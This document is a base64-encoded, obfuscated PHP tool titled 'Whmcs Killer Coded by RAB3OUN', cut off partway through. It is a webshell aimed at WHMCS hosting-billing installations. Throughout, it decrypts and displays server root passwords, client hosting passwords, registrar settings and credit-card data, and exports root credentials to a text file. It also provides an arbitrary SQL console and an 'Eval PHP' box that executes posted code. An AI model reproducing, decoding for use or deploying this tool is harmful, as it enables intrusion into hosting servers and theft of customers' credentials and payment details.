bm9oYWxuY3ZjPSJxcSI7CiRyZW1jc2Fzb2I9InF1ZSI7CiR1dWRvZWx1PSJxdWVyeSI7CiRncmF0 bGJ2Y3Vkaj0icSI7CiR2Z21wbXB5cW1vPSJpIjsKJHdodmNsa2F1bz0icSI7CiRpYWhnY2dneHJm eWo9InF1ZXJ5MSI7CiRqdXFvdnRyPSJwYWdlIjsKJGhxdm1xa3U9ImNvZCI7CmVjaG8gIlxuXG5c blxuXG4iOwokeHZjaWdtd209InF1ZXJ5IjsKJHZtZ3B1ZD0ibnVtX2ZpZWxkcyI7CiRlcnd0eWh6 dT0iaSI7CiRoZWxhcmJ4az0iZGJfbmFtZSI7CiRxZWNjd2xlYml3a2Y9Imhvc3RuYW1lIjsKaWYo JF9DT09LSUVbImxvZ2luIl09PSIxIil7JG9ycXNiYnNvY3Q9ImRiX3Bhc3N3b3JkIjsKJGxiZWR3 b2dqdXdvYz0iZGJfdXNlcm5hbWUiOwokbmllY25landmbXk9KCRfQ09PS0lFWyJkYl9ob3N0Il0p OwokbGNhdmN4Y2xxbj0iZGJfcGFzc3dvcmQiOwokY3ZoeGtwYT0iZGJfbmFtZSI7CiRjeG9qdWlq dmhrZT0oJF9DT09LSUVbImRiX3VzZXJuYW1lIl0pOwokY3F6cnVveD0iZGJfbmFtZSI7CiR6eWNy cWl4a2V4PSJkYl9ob3N0IjsKJHskb3Jxc2Jic29jdH09KCRfQ09PS0lFWyJkYl9wYXNzd29yZCJd KTsKJGN2aHhrcGE9KCRfQ09PS0lFWyJkYl9uYW1lIl0pOwokZGF0enNibGh6aGY9KCRfQ09PS0lF WyJjY19lbmNyeXB0aW9uX2hhc2giXSk7CiR2YnBtZ2l5Y209QG15c3FsX2Nvbm5lY3QoJHp5Y3Jx aXhrZXgsJGxiZWR3b2dqdXdvYywkeyRsY2F2Y3hjbHFufSk7Cm15c3FsX3NlbGVjdF9kYigkY3F6 cnVveCwkdmJwbWdpeWNtKTsKfWlmKCR0cmZ4ZWtlaSBhbmQoJF9DT09LSUVbImxvZ2luIl08PiIx Iikpe2VjaG8oJHl0Y3duY3VmeWdtKTsKbG9naW4oKTsKZXhpdDsKfSRwb3dnamlxcz0icXEiOwok aXl0aHpveGRzZm89InRhYmxlcyI7CmlmKCgkX0NPT0tJRVsibG9naW4iXTw+IjEiKSl7ZWNobygk eXRjd25jdWZ5Z20pOwpsb2dpbigpOwpleGl0Owp9JHpqbnd2ZmR4bj0icSI7CiR2cWxkcmdob2l0 PSJxcSI7CiR3dGR2bmdlYmNwbWI9InRvdGFsX3BhZ2VzIjsKJHRocXdmcmhveHlvPSgkX0NPT0tJ RVsiZGJfaG9zdCJdKTsKJGN4b2p1aWp2aGtlPSgkX0NPT0tJRVsiZGJfdXNlcm5hbWUiXSk7CiRl ZmNsd3Vsb3NiPSJudW1yb3ciOwokeyRndnNjYmd2c309KCRfQ09PS0lFWyJkYl9wYXNzd29yZCJd KTsKJHskaGpndWhjcXh9PSgkX0NPT0tJRVsiZGJfbmFtZSJdKTsKJGxid3VuZmZ1cD0iZmlsZWRp ciI7CiRsc2NhY3BxZ3k9InRvdGFsX3JlY29yZHMiOwokZW1sZWVkZT0icGFnZSI7CiRkYXR6c2Js aHpoZj0oJF9DT09LSUVbImNjX2VuY3J5cHRpb25faGFzaCJdKTsKJGJvYmRqYnRwbz0ic3RhcnRf ZnJvbSI7CiRpa211b2pmPSJwYWdlIjsKJHdwc3FqaGhrcD0idmFsdWUiOwokdmJwbWdpeWNtPUBt eXNxbF9jb25uZWN0KCRuaWVjbmVqd2ZteSwkeyRyZXVndHd5bGl9LCR7JGdtemRlY2JsfSk7CiRi cHFieHJ3bz0icXVlcnkiOwokYWtteHhlPSJxcSI7CiR6b21odmNpdml1PSJxIjsKJGljZGhvYWls dz0icSI7CiR2bXVmbXhraWY9InEiOwokdmprbmpidj0icSI7CiRpYXRzcXFucz0icXVlcnkiOwok bmdqeXdqcWt6amxmPSJ0YWJsZSI7CiRwcWJydnVtcW91Y3U9Im91dHRhIjsKJGhpdWZjbG51Ynhu PSJpIjsKJGtybmx2eHdnY3VhPSJ0b3RhbF9wYWdlcyI7CiRxa21odnJjdz0iZGJfcGFzc3dvcmQi OwokaXhmZmlvZ2pqZWk9InF1ZXJ5IjsKJGdrZHJpcHV0eHZzPSJuYW1lIjsKJGpodHNjcHRldmVo PSJxIjsKbXlzcWxfc2VsZWN0X2RiKCRrb2xnb3FmLCR2YnBtZ2l5Y20pOwokeHRwaHB5anh0Y3J0 PSJpIjsKJGh1cnFrdnlhPSJwYWdlIjsKJGt1c29nenFic249InFxIjsKJGNtY2hrdnBmdz0icSI7 CiR0bWZ4dXN1Zz0icGFzc3dvcmQiOwokaHlweXRsPSJkbyI7CiRpYWRneXJyandnPSJzZW5kIjsK JGZ1d3RjZHl5Z2I9Imxhc3RuYW1lIjsKJGRxa2t0YnY9ImxpbmsiOwokcGZ4dHBmbHdsPSJ0b3Rh bF9wYWdlcyI7CiRnZ3praXVqPSJxdWVyeSI7CiRncmF4dHRscz0icXVlcnkiOwokbHBsdW5jPSJx cSI7CiRvY25oYmVlY21mcj0iZGJfdXNlcm5hbWUiOwokbmJza29qbXBidWY9InYiOwokenRqbWFr YT0icSI7CiRmcWtnYWtiPSJwYWdlIjsKaWYoISR7JGRxa2t0YnZ9KXskaXJkcW5vPSJoZWFkZXIi OwplY2hvKCI8aDE+RGF0YWJhc2UgZXJyb3I8L2gxPiIpOwplY2hvKCR7JGlyZHFub30pOwpsb2dp bigpOwpleGl0Owp9JGR5c3Fwb2o9InEiOwokYXB3aW91Z3lpcWtoPSJxdWVyeSI7CnN3aXRjaCgk dHJmeGVrZWkpewpjYXNlIm0iOgplY2hvKCI8YnI+PGhyPjxhIGhyZWY9XCI/cD1oXCIgdGFyZ2V0 PVwiZnJhbWUxXCI+IEhvbWU8L2E+PGhyPlxuPGEgaHJlZj1cIj9wPTEwMlwiIHRhcmdldD1cImZy YW1lMVwiPiBJbmZvPC9hPjxocj5cbjxhIGhyZWY9XCI/cD0xXCIgdGFyZ2V0PVwiZnJhbWUxXCI+ IEgwc3QgcjAwdHM8L2E+PGhyPlxuPGEgaHJlZj1cIj9wPTJcIiB0YXJnZXQ9XCJmcmFtZTFcIj4K IERvbWFpbnMgUmVzZWxsZXJzPC9hPjxocj5cbjxhIGhyZWY9XCI/cD0zXCIgdGFyZ2V0PVwiZnJh bWUxXCI+CiBDbGllbnRzIHIwMHRzPC9hPjxocj5cbjxhIGhyZWY9XCI/cD00XCIgdGFyZ2V0PVwi ZnJhbWUxXCI+IENsaWVudHMgSG9zdGluZyBBY2NvdW50czwvYT48aHI+XG48YSBocmVmPVwiP3A9 NVwiIHRhcmdldD1cImZyYW1lMVwiPgogQ2xpZW50cyBDQzwvYT48aHI+XG48YSBocmVmPVwiP3A9 NjNcIiB0YXJnZXQ9XCJmcmFtZTFcIj4gQ2xpZW50cyBUaWNrZXRzIDwvYT48aHI+XG48YSBocmVm PVwiP3A9N1wiIHRhcmdldD1cImZyYW1lMVwiPgogRlRQIGFuZCBTTVRQIHBhc3N3b3JkPC9hPjxo cj5cbjxhIGhyZWY9XCI/cD04XCIgdGFyZ2V0PVwiZnJhbWUxXCI+IFRvb2xzPC9hPjxocj5cbjxh IGhyZWY9XCI/cD05OVwiIHRhcmdldD1cImZyYW1lMVwiPiBTUUwgUXVlcnk8L2E+PGhyPlxuPGEg aHJlZj1cIj9wPTEwMFwiIHRhcmdldD1cImZyYW1lMVwiPgogU2hvdyBjbGllbnRzIDwvYT48aHI+ XG48YSBocmVmPVwiP3A9MTFcIiB0YXJnZXQ9XCJmcmFtZTFcIj5CYWNrVXA8L2E+PGhyPlxuPGEg aHJlZj1cIj9wPTEwMVwiIHRhcmdldD1cImZyYW1lMVwiPgogRXZhbCBQSFA8L2E+PGhyPlxuPGEg aHJlZj1cIj9wPTlcIiB0YXJnZXQ9XCJfcGFyZW50XCI+IExvZ291dDwvYT48YnI+Iik7CmJyZWFr OwpjYXNlImgiOmxvZ2luKCk7CmJyZWFrOwpjYXNlIDE6JGFwd2lvdWd5aXFraD1teXNxbF9xdWVy eSgiU0VMRUNUICogRlJPTSB0YmxzZXJ2ZXJzIik7CmlmKCFpc19hcnJheShteXNxbF9mZXRjaF9h cnJheSgkYXB3aW91Z3lpcWtoKSkpe2VjaG8iPGNlbnRlcj48aDE+Tm90aGluZyBGb3VuZCAhPC9o MT48L2NlbnRlcj4iOwp9ZWxzZXskcGxqYmZudml5aHp1PSJ2IjsKJGFwd2lvdWd5aXFraD1teXNx bF9xdWVyeSgiU0VMRUNUICogRlJPTSB0YmxzZXJ2ZXJzIik7CmVjaG8oIjxjZW50ZXI+PGgxPkgw c3QgcjAwdHM8L2gxPiIuIjxjZW50ZXI+PGJyPjxicj4gPGJyPjxmb3JtIGFjdGlvbj1cIj9wPTFc IiBuYW1lPVwiZm9ybXdcIiBtZXRob2Q9XCJwb3N0XCI+XG5cbjxpbnB1dCBuYW1lPVwiZXhwb3J0 XCIgdHlwZT1cImhpZGRlblwiIHZhbHVlPVwiMVwiPlxuPGNlbnRlcj48aW5wdXQgdHlwZT1cInN1 Ym1pdFwiIG5hbWU9XCJzdWJtaXQyXCIgY2xhc3M9XCJidXR0b25zXCIgdmFsdWU9XCJbU2F2ZSB0 byBUWFQgZmlsZSBdXCIgLz48L2NlbnRlcj4iLiI8YnI+PHRhYmxlIGJvcmRlcj0nMCc+PHRyPjx0 ZD5UeXBlPC90ZD48dGQ+QWN0aXZlPC90ZD48dGQ+SG9zdG5hbWU8L3RkPjx0ZD5JcDwvdGQ+PHRk PlVzZXJuYW1lPC90ZD48dGQ+UGFzc3dvcmQ8L3RkPjwvdHI+Iik7CndoaWxlKCR7JHBsamJmbnZp eWh6dX09bXlzcWxfZmV0Y2hfYXJyYXkoJGFwd2lvdWd5aXFraCkpeyRnanJjbXV3ZHU9InBhc3N3 b3JkIjsKJGlyc3NwYmxvbm49InYiOwokZ2pyY211d2R1PWRlY3J5cHQoJHNxZ2Nocnh3bFsicGFz c3dvcmQiXSwkZGF0enNibGh6aGYpOwokcnlwY3h6a2p3Zmp4PSJ2IjsKZWNobygiPHRyPjx0ZD4i LiRpcnNzcGJsb25uWyJ0eXBlIl0uIjwvdGQ+PHRkPiIuJHNxZ2Nocnh3bFsiYWN0aXZlIl0uIjwv dGQ+PHRkPiIuJHNxZ2Nocnh3bFsiaG9zdG5hbWUiXS4iPC90ZD48dGQ+Ii4kc3FnY2hyeHdsWyJp cGFkZHJlc3MiXS4iPC90ZD48dGQ+Ii4kcnlwY3h6a2p3Zmp4WyJ1c2VybmFtZSJdLiI8L3RkPjx0 ZD4kcGFzc3dvcmQ8L3RkPjwvdHI+Iik7Cn1lY2hvIjwvdGFibGU+PGJyPjxicj48L2NlbnRlcj4i Owp9aWYoJF9QT1NUWyJleHBvcnQiXT09MSl7JGd0Zm5weHE9InRleHRyIjsKJGNjeWt3d2duPSJ2 IjsKJGFwd2lvdWd5aXFraD1teXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSB0YmxzZXJ2ZXJzIik7 CiRxaG12cXZld2dzbz0icXVlcnkiOwokcHdwZ2VrcG5zZW93PSJ0ZXh0ciI7CiR4cGdjcGljYnZr PSR4cGdjcGljYnZrLiJcclxuIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyBIT1NUIFJPT1RTICMj IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI1xyXG4iOwp3aGlsZSgkeyRjY3lrd3dnbn09bXlzcWxf ZmV0Y2hfYXJyYXkoJHskcWhtdnF2ZXdnc299KSl7JGVscmhoaWZxc3g9InRleHRyIjsKJGptb3Jn Y3h0bXNhPSJwYXNzd29yZCI7CiRmYmZ4dHlvcXM9ImlwYWRkcmVzcyI7CiRsZWZsYmx5PSJjY19l bmNyeXB0aW9uX2hhc2giOwokZmJmeHR5b3FzPSRzcWdjaHJ4d2xbImlwYWRkcmVzcyJdOwokeXlt dHFoY2dsdj0idiI7CiRleHpmd2dhYj0idXNlcm5hbWUiOwokb2pxd3NuZm49ImFjdGl2ZSI7CiRr b3lqbHRrcGttaj0idGV4dHIiOwokZXh6ZndnYWI9JHl5bXRxaGNnbHZbInVzZXJuYW1lIl07CiR6 aGVsY2h3PSJ0ZXh0ciI7CiR3aGljeGo9JHNxZ2Nocnh3bFsidHlwZSJdOwokZm1lYmtyPSJ2IjsK JHVucXVncXZlbGU9InYiOwokb2pxd3NuZm49JHNxZ2Nocnh3bFsiYWN0aXZlIl07CiRxZWNjd2xl Yml3a2Y9JHskZm1lYmtyfVsiaG9zdG5hbWUiXTsKJHskam1vcmdjeHRtc2F9PWRlY3J5cHQoJHsk dW5xdWdxdmVsZX1bInBhc3N3b3JkIl0sJHskbGVmbGJseX0pOwokc2t1cXdxbnJzYT0idGV4dHIi OwokeHBnY3BpY2J2az0kZWxyaGhpZnFzeC4iVHlwZSAkdHlwZVxyXG4iOwokeyRza3Vxd3FucnNh fT0keHBnY3BpY2J2ay4iQWN0aXZlICRhY3RpdmVcclxuIjsKJHpoZWxjaHc9JHska295amx0a3Br bWp9LiJIb3N0bmFtZSAkaG9zdG5hbWVcclxuIjsKJHFsYWFudmlweT0idGV4dHIiOwokeHBnY3Bp Y2J2az0kcWxhYW52aXB5LiJJcCAkaXBhZGRyZXNzXHJcbiI7CiRmcm93dm91dj0idGV4dHIiOwok eyRmcm93dm91dn09JHhwZ2NwaWNidmsuIlVzZXJuYW1lICR1c2VybmFtZVxyXG4iOwokeHBnY3Bp Y2J2az0keHBnY3BpY2J2ay4iUGFzc3dvcmQgJHBhc3N3b3JkXHJcbioqKioqKioqKioqKioqKioq KioqKioqKioqKioqKioqKioqKioqXHJcbiI7Cn0kdGJzcWdidz0idGV4dHIiOwokZ3RmbnB4cT0k cHdwZ2VrcG5zZW93LiJcclxuIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyBIT1NUIFJPT1RTICMj IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI1xyXG4iOwpAb2JfZW5kX2NsZWFuKCk7CmhlYWRlcigi Q29udGVudC1sZW5ndGg6ICIuc3RybGVuKCR7JHRic3FnYnd9KSk7CmhlYWRlcigiQ29udGVudC10 eXBlOiB0ZXh0L3BsYWluIik7CmhlYWRlcigiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVu dDsKIGZpbGVuYW1lPSIuJF9TRVJWRVJbIkhUVFBfSE9TVCJdLiItaG9zdF9SMDB0LnR4dCIpOwpl Y2hvKCR4cGdjcGljYnZrKTsKfWJyZWFrOwpjYXNlIDI6JHskZ3JheHR0bHN9PW15c3FsX3F1ZXJ5 KCJTRUxFQ1QgKiBGUk9NIHRibHJlZ2lzdHJhcnMiKTsKaWYoIWlzX2FycmF5KG15c3FsX2ZldGNo X2FycmF5KCR7JGlhdHNxcW5zfSkpKXtlY2hvIjxjZW50ZXI+PGgxPk5vdGhpbmcgRm91bmQgITwv aDE+PC9jZW50ZXI+IjsKfWVsc2V7JGFwd2lvdWd5aXFraD1teXNxbF9xdWVyeSgiU0VMRUNUICog RlJPTSB0YmxyZWdpc3RyYXJzIik7CmVjaG8oIjxjZW50ZXI+PGgxPkRvbWFpbiBSZXNlbGxlcjxo MT4gPGJyPjx0YWJsZSBib3JkZXI9JzAnPiIpOwokcW9zaHZqdGNidGR4PSJxdWVyeSI7CmVjaG8o Ijx0cj48dGQ+UmVnaXN0cmFyPC90ZD48dGQ+U2V0dGluZzwvdGQ+PHRkPlZhbHVlPC90ZD48L3Ry PiIpOwp3aGlsZSgkc3FnY2hyeHdsPW15c3FsX2ZldGNoX2FycmF5KCR7JHFvc2h2anRjYnRkeH0p KXskZG54bmJwaz0iY2NfZW5jcnlwdGlvbl9oYXNoIjsKJHlhaHlqZXE9InYiOwoka3Bub3J3PWRl Y3J5cHQoJHskeWFoeWplcX1bInZhbHVlIl0sJGRueG5icGspOwppZigka3Bub3J3PT0iIil7JGtw bm9ydz0wOwp9JHRtZnh1c3VnPWRlY3J5cHQoJHNxZ2Nocnh3bFsicGFzc3dvcmQiXSwkZGF0enNi bGh6aGYpOwplY2hvKCI8dHI+PHRkPiIuJHNxZ2Nocnh3bFsicmVnaXN0cmFyIl0uIjwvdGQ+PHRk PiIuJHNxZ2Nocnh3bFsic2V0dGluZyJdLiIgPC90ZD48dGQ+JHZhbHVlPC90ZD48L3RyPiIpOwp9 ZWNobyI8L3RhYmxlPjxicj48YnI+PC9jZW50ZXI+IjsKfWJyZWFrOwpjYXNlIDk5OiRhcHdpb3Vn eWlxa2g9c3RyaXBzbGFzaGVzKCRfUE9TVFsicXVlcnkiXSk7CmlmKCRhcHdpb3VneWlxa2g9PSIi KSRhcHdpb3VneWlxa2g9IlNFTEVDVCAqIEZST00gdGJsYWRtaW5zIExJTUlUIDAsMTAiOwplY2hv KCI8Y2VudGVyPjxicj48aDE+U1FMIFF1ZXJ5PC9oMT48YnI+PGJyPjxicj48Rk9STSBhY3Rpb249 XCI/cD05OVwiICBtZXRob2Q9XCJwb3N0XCIgPlxuXG48aW5wdXQgdHlwZT1cInRleHRcIiBuYW1l PVwicXVlcnlcIiB2YWx1ZT1cIiIuJGFwd2lvdWd5aXFraC4iXCIgc3R5bGU9XCJ3aWR0aDo1MDBw eDtcIiA+XG48YnI+PGJyPlxuPElOUFVUIGNsYXNzPXN1Ym1pdCB0eXBlPVwic3VibWl0XCIgdmFs dWU9XCJTdWJtaXRcIiBuYW1lPVwiU3VibWl0XCI+XG48L2Zvcm0+Iik7CmlmKCRfUE9TVFsicXVl cnkiXSl7JHpuZXh0bz0icmVzdWx0IjsKJGhqd21xYj0iZmllbGRudW0iOwplY2hvKCI8dGFibGUg Ym9yZGVyJzEnPiIpOwokdmtreHR0YmNidz0iaSI7CiR7JHpuZXh0b309bXlzcWxfcXVlcnkoJGFw d2lvdWd5aXFraCk7CiR7JGhqd21xYn09QG15c3FsX251bV9maWVsZHMoJG9lcWV6eG94Y21iYik7 CmVjaG8oIjx0cj4iKTsKZm9yKCRoaXVmY2xudWJ4bj0wOwokdmtreHR0YmNidzwkaHdsam52YmVm YTsKJGhpdWZjbG51YnhuICApeyRna2RyaXB1dHh2cz1AbXlzcWxfZmllbGRfbmFtZSgkb2VxZXp4 b3hjbWJiLCRoaXVmY2xudWJ4bik7CmVjaG8oIjx0ZD4kbmFtZTwvdGQ+Iik7Cn0kdmlraG1qZHBx PSJyZXN1bHQiOwplY2hvKCI8L3RyPiIpOwp3aGlsZSgkc3FnY2hyeHdsPUBteXNxbF9mZXRjaF9h cnJheSgkeyR2aWtobWpkcHF9LDEpKXskZGN3d2FtaWU9InRkIjsKJHd4YWx2bnF0eno9Ijx0cj48 dGQ+IjsKJHFmcmtuZXRndj0idGQiOwokcWZya25ldGd2PSRkY3d3YW1pZS5pbXBsb2RlKCI8L3Rk Pjx0ZD4iLCRzcWdjaHJ4d2wpOwokd3hhbHZucXR6ej0kd3hhbHZucXR6ei4iPC90cj5cbiI7CmVj aG8oJHd4YWx2bnF0enopOwp9ZWNobygiPC90YWJsZT4iKTsKaWYobXlzcWxfZXJyb3IoKTw+IiIp e2VjaG8oIjx0YWJsZSBib3JkZXInMSc+PHRyPjx0ZD5NeXNxbCBlcnJvcjwvdGQ+PHRkPiIubXlz cWxfZXJyb3IoKS4iPC90ZD48L3RyPjwvdGFibGU+Iik7Cn1lbHNle2VjaG8oIjxicj48dGFibGUg Ym9yZGVyJzEnPjx0cj48dGQ+U1FMIFF1ZXJ5IGV4ZWN1dGVkIHN1Y2Nlc3NmdWxseSA8L3RkPjwv dHI+PC90YWJsZT4iKTsKfX1icmVhazsKY2FzZSAxMDA6ZWNobygiPGNlbnRlcj48aDE+Q2xpZW50 czwvaDE+PGJyPkNsaWNrIG9uIGlkIHRvIGdldCBhbGwgaW5mbyBIb3N0aW5nIEFjY291bnRzK1Rp Y2tldHMgPGJyPjxicj4iKTsKJGFwd2lvdWd5aXFraD1teXNxbF9xdWVyeSgiU0VMRUNUICogRlJP TSB0YmxjbGllbnRzIik7CmVjaG8oIjxicj48dGFibGUgYm9yZGVyPScwJz4iKTsKd2hpbGUoJHNx Z2Nocnh3bD1teXNxbF9mZXRjaF9hcnJheSgkYXB3aW91Z3lpcWtoKSl7JHlpcWVodXVvam9kcT0i diI7CiRqZWxsZ2xzPSJ2IjsKZWNobygiPHRyPjx0ZD4gPGEgaHJlZj0nP3A9MTImaWQ9Ii4keyRq ZWxsZ2xzfVsiaWQiXS4iJz4iLiRzcWdjaHJ4d2xbImlkIl0uIjwvYT48L3RkPiIpOwplY2hvKCI8 dGQ+Ii4keyR5aXFlaHV1b2pvZHF9WyJlbWFpbCJdLiI8L3RkPiIpOwplY2hvKCI8dGQ+Ii4kc3Fn Y2hyeHdsWyJjb3VudHJ5Il0uIjwvdGQ+Iik7CmVjaG8oIjx0ZD4iLiRzcWdjaHJ4d2xbImZpcnN0 bmFtZSJdLiI8L3RkPiIpOwplY2hvKCI8dGQ+Ii4kc3FnY2hyeHdsWyJsYXN0bmFtZSJdLiI8L3Rk PjwvdHI+Iik7Cn1lY2hvKCI8L3RhYmxlPjwvY2VudGVyPiIpOwpicmVhazsKY2FzZSAxMDE6ZWNo bygiPGNlbnRlcj48aDE+RXZhbCBQSFA8L2gxPjxicj48YnI+Iik7CkVjaG8iPGZvcm0gYWN0aW9u PSc/cD0xMDEnIG1ldGhvZD0nUE9TVCcgPiA8dGV4dGFyZWEgcm93cz0nMTAnIG5hbWU9J3BwJyBj b2xzPSc1MCc+ICA8L3RleHRhcmVhPjxiciAvPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdH bycgbmFtZT0nZ28nIC8+PC9mb3JtPjwvaHRtbD4iOwokaHF2bXFrdT0kX1BPU1RbInBwIl07CiRk ZGtqcXZ5Z25lPSRfUE9TVFsiZ28iXTsKaWYoJHskaWFkZ3lycmp3Z30pe2VWYUwoc3RyaXBzbGFz aGVzKCRocXZtcWt1KSk7Cn1icmVhazsKY2FzZSAxMDI6ZWNobygiPGNlbnRlcj48cHJlPlxuX18g ICAgICAgICAgX19fICAgIF8gX18gIF9fICBfX19fXyAgX19fX18gICBfICBfX18gXyBfICAgICAg ICAgICBcblwgXFwgICAgICAgIC8gLyB8ICB8IHwgIFwvICB8LyBfX19ffC8gX19fX3wgfCB8LyAo XykgfCB8ICAgICAgICAgIFxuIFwgXFwgIC9cXCAgLyAvfCB8X198IHwgXFwgIC8gfCB8ICAgIHwg KF9fXyAgIHwgJyAvIF98IHwgfCBfX18gXyBfXyBcbiAgXFwgXC8gIFxcLyAvIHwgIF9fICB8IHxc XC98IHwgfCAgICAgXFxfX18gXFwgIHwgIDwgfCB8IHwgfC8gXyBcXCAnX198XG4gICBcXCAgL1xc ICAvICB8IHwgIHwgfCB8ICB8IHwgfF9fX18gX19fXykgfCB8IC4gXFx8IHwgfCB8ICBfXy8gfCAg IFxuICAgIFwvICBcXC8gICB8X3wgIHxffF98ICB8X3xcXF9fX19ffF9fX19fLyAgfF98XF9cX3xf fF98XFxfX198X3wgXG5cbjwvcHJlPlxuQ29kZWQgYnkgUkFCM09VTiA8YnI+XG5NYWlsIHYuYi00 QGhvdG1haWwuY29tIDxicj5cbkJsb2cgaHR0cDovL3d3dy5yYWIzb3VuLm5ldCA8YnI+XG48YnI+ XG48YnI+XG48YnI+XG48aDM+RGlzY2xhaW1lcjwvaDM+PGJyPjwvY2VudGVyPlxuXG5Vc2UgdGhl c2Ugc2NyaXB0cyBlbnRpcmVseSBhdCB5b3VyIG93biByaXNrLjxicj5cblRoZSBhdXRob3IgY2Fu bm90IGJlIGhlbGQgcmVzcG9uc2libGUgZm9yIGFueSBkYW1hZ2UsIGRpcmVjdCBub3IgY29uc2Vx dWVudGlhbCwgY2F1c2VkIGJ5IHRoZSB1c2Ugb2YsIG9yIGluYWJpbGl0eSB0byB1c2UgdGhlIHRl Y2huaXF1ZXMgb3Igc2NyaXB0cyBwcmVzZW50ZWQgaGVyZTxicj5cbjxjZW50ZXI+PGgzPkdyZWV0 czo8L2gzPjxicj48L2NlbnRlcj48YnI+XG5haHdhazIwMDAgUkVOTyBBbmQgQWxsIFAwYyBURUFN IDxicj5cbiBBbGwgU2VjNGV2ZXIgVEVBTVxuIik7CmJyZWFrOwpjYXNlIDEwMzpAb2JfZW5kX2Ns ZWFuKCk7CmVjaG8oIjx0aXRsZT5XaG1jcyBLaWxsZXIgQ29kZWQgYnkgUkFCM09VTjwvdGl0bGU+ PEZSQU1FU0VUIGNvbHM9XCIyMDAsKlwiPiBcbjxGUkFNRSBuYW1lPVwic29tbWFpcmVcIiB0YXJn ZXQ9XCJmcmFtZTFcIiBzcmM9XCI/cD1tXCIgc2Nyb2xsaW5nPVwiYXV0b1wiPlxuPEZSQU1FIG5h bWU9XCJmcmFtZTFcIiBzcmM9XCI/cD0xMDJcIiBzY3JvbGxpbmc9XCJhdXRvXCI+IFxuPC9GUkFN RVNFVD5cbjxOT0ZSQU1FUz4gPFA+Q2V0dGUgcGFnZSB1dGlsaXNlIGRlcyBjYWRyZXMsIG1haXMg dm90cmUgbmF2aWdhdGV1ciBuZSBsZXMgcHJlbmQgcGFzIGVuIGNoYXJnZS48L3A+IDwvTk9GUkFN RVM+Iik7CmJyZWFrOwokYXB3aW91Z3lpcWtoPW15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NIHRi bGhvc3Rpbmcgd2hlcmUgdXNlcm5hbWUgPSAncm9vdCcgb3IgdXNlcm5hbWUgPSAnQWRtaW4nIG9y IHVzZXJuYW1lID0gJ2FkbWluJyBvciB1c2VybmFtZSA9ICdBZG1pbmlzdHJhdG9yJyBvciAgdXNl cm5hbWUgPSAnYWRtaW5pc3RyYXRvcicgb3JkZXIgYnkgZG9tYWluc3RhdHVzIik7CmlmKCFpc19h cnJheShteXNxbF9mZXRjaF9hcnJheSgkYXB3aW91Z3lpcWtoKSkpe2VjaG8iPGNlbnRlcj48aDE+ Tm90aGluZyBGb3VuZCAhPC9oMT48L2NlbnRlcj4iOwp9ZWxzZXskeGlrbnBjb2JpPSJxdWVyeSI7 CiRocm5kaWVsY3V6PSJ2IjsKJGFwd2lvdWd5aXFraD1teXNxbF9xdWVyeSgiU0VMRUNUICogRlJP TSB0Ymxob3N0aW5nIHdoZXJlIHVzZXJuYW1lID0gJ3Jvb3QnIG9yIHVzZXJuYW1lID0gJ0FkbWlu JyBvciB1c2VybmFtZSA9ICdhZG1pbicgb3IgdXNlcm5hbWUgPSAnQWRtaW5pc3RyYXRvcicgb3Ig IHVzZXJuYW1lID0gJ2FkbWluaXN0cmF0b3InIG9yZGVyIGJ5IGRvbWFpbnN0YXR1cyIpOwplY2hv IjxjZW50ZXI+PGgxPkNsaWVudHMgcjAwdHM8aDE+IDxicj48Zm9ybSBhY3Rpb249XCI/cD0zXCIg bmFtZT1cImZvcm13XCIgbWV0aG9kPVwicG9zdFwiPlxuXG48aW5wdXQgbmFtZT1cImV4cG9ydFwi IHR5cGU9XCJoaWRkZW5cIiB2YWx1ZT1cIjFcIj5cbjxjZW50ZXI+PGlucHV0IHR5cGU9XCJzdWJt aXRcIiBuYW1lPVwic3VibWl0MlwiIGNsYXNzPVwiYnV0dG9uc1wiIHZhbHVlPVwiW1NhdmUgdG8g VFhUIGZpbGUgXVwiIC8+PC9jZW50ZXI+Ii4iPGJyPjx0YWJsZSBib3JkZXI9JzAnIGNlbGxwYWRk aW5nPSc1JyBhbGlnbj0nY2VudGVyJz5cbiAgICA8dHI+PHRkPmRvbWFpbjwvdGQ+PHRkPkRlZGlj YXRlZGlwPC90ZD48dGQ+VXNlcjwvdGQ+PHRkPlBhc3M8L3RkPjx0ZD5kb21haW5zdGF0dXM8L3Rk PjwvdHI+IjsKd2hpbGUoJHskaHJuZGllbGN1en09bXlzcWxfZmV0Y2hfYXJyYXkoJHhpa25wY29i aSkpeyRrZ3Jyb21ncz0idiI7CiR0ZXV6ZW90eD0idiI7CiRpbGd1a2E9InYiOwplY2hvIjx0cj48 dGQ+Ii4keyRpbGd1a2F9WyJkb21haW4iXS4iPC90ZD48dGQ+Ii4kc3FnY2hyeHdsWyJkZWRpY2F0 ZWRpcCJdLiI8L3RkPjx0ZD4iLiRzcWdjaHJ4d2xbInVzZXJuYW1lIl0uIjwvdGQ+PHRkPiIuZGVj cnlwdCgkdGV1emVvdHhbInBhc3N3b3JkIl0sJGRhdHpzYmxoemhmKS4iPC90ZD48dGQ+Ii4ka2dy cm9tZ3NbImRvbWFpbnN0YXR1cyJdLiI8L3RkPjwvdHI+IjsKfWVjaG8iPC90YWJsZT4iOwp9aWYo JF9QT1NUWyJleHBvcnQiXT09MSl7JHJsa213Ymxtd2M9InRleHRyIjsKJHJteGxmbz0icXVlcnki OwokdmhjeGx0dW5uPSJ0ZXh0ciI7CiRyYnV2ZnRudng9InRleHRyIjsKJGh2bGVrc2tod2ppPSJx dWVyeSI7CiRybGttd2JsbXdjPSR4cGdjcGljYnZrLiJcclxuIyMjIyMjIyMjIyMjIyMjIyMjIyMj IyMjIyBDbGllbnQgUjAwdHMgIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXHJcbiI7CiR7JHJt eGxmb309bXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gdGJsaG9zdGluZyB3aGVyZSB1c2VybmFt ZSA9ICdyb290JyBvciB1c2VybmFtZSA9ICdBZG1pbicgb3IgdXNlcm5hbWUgPSAnYWRtaW4nIG9y 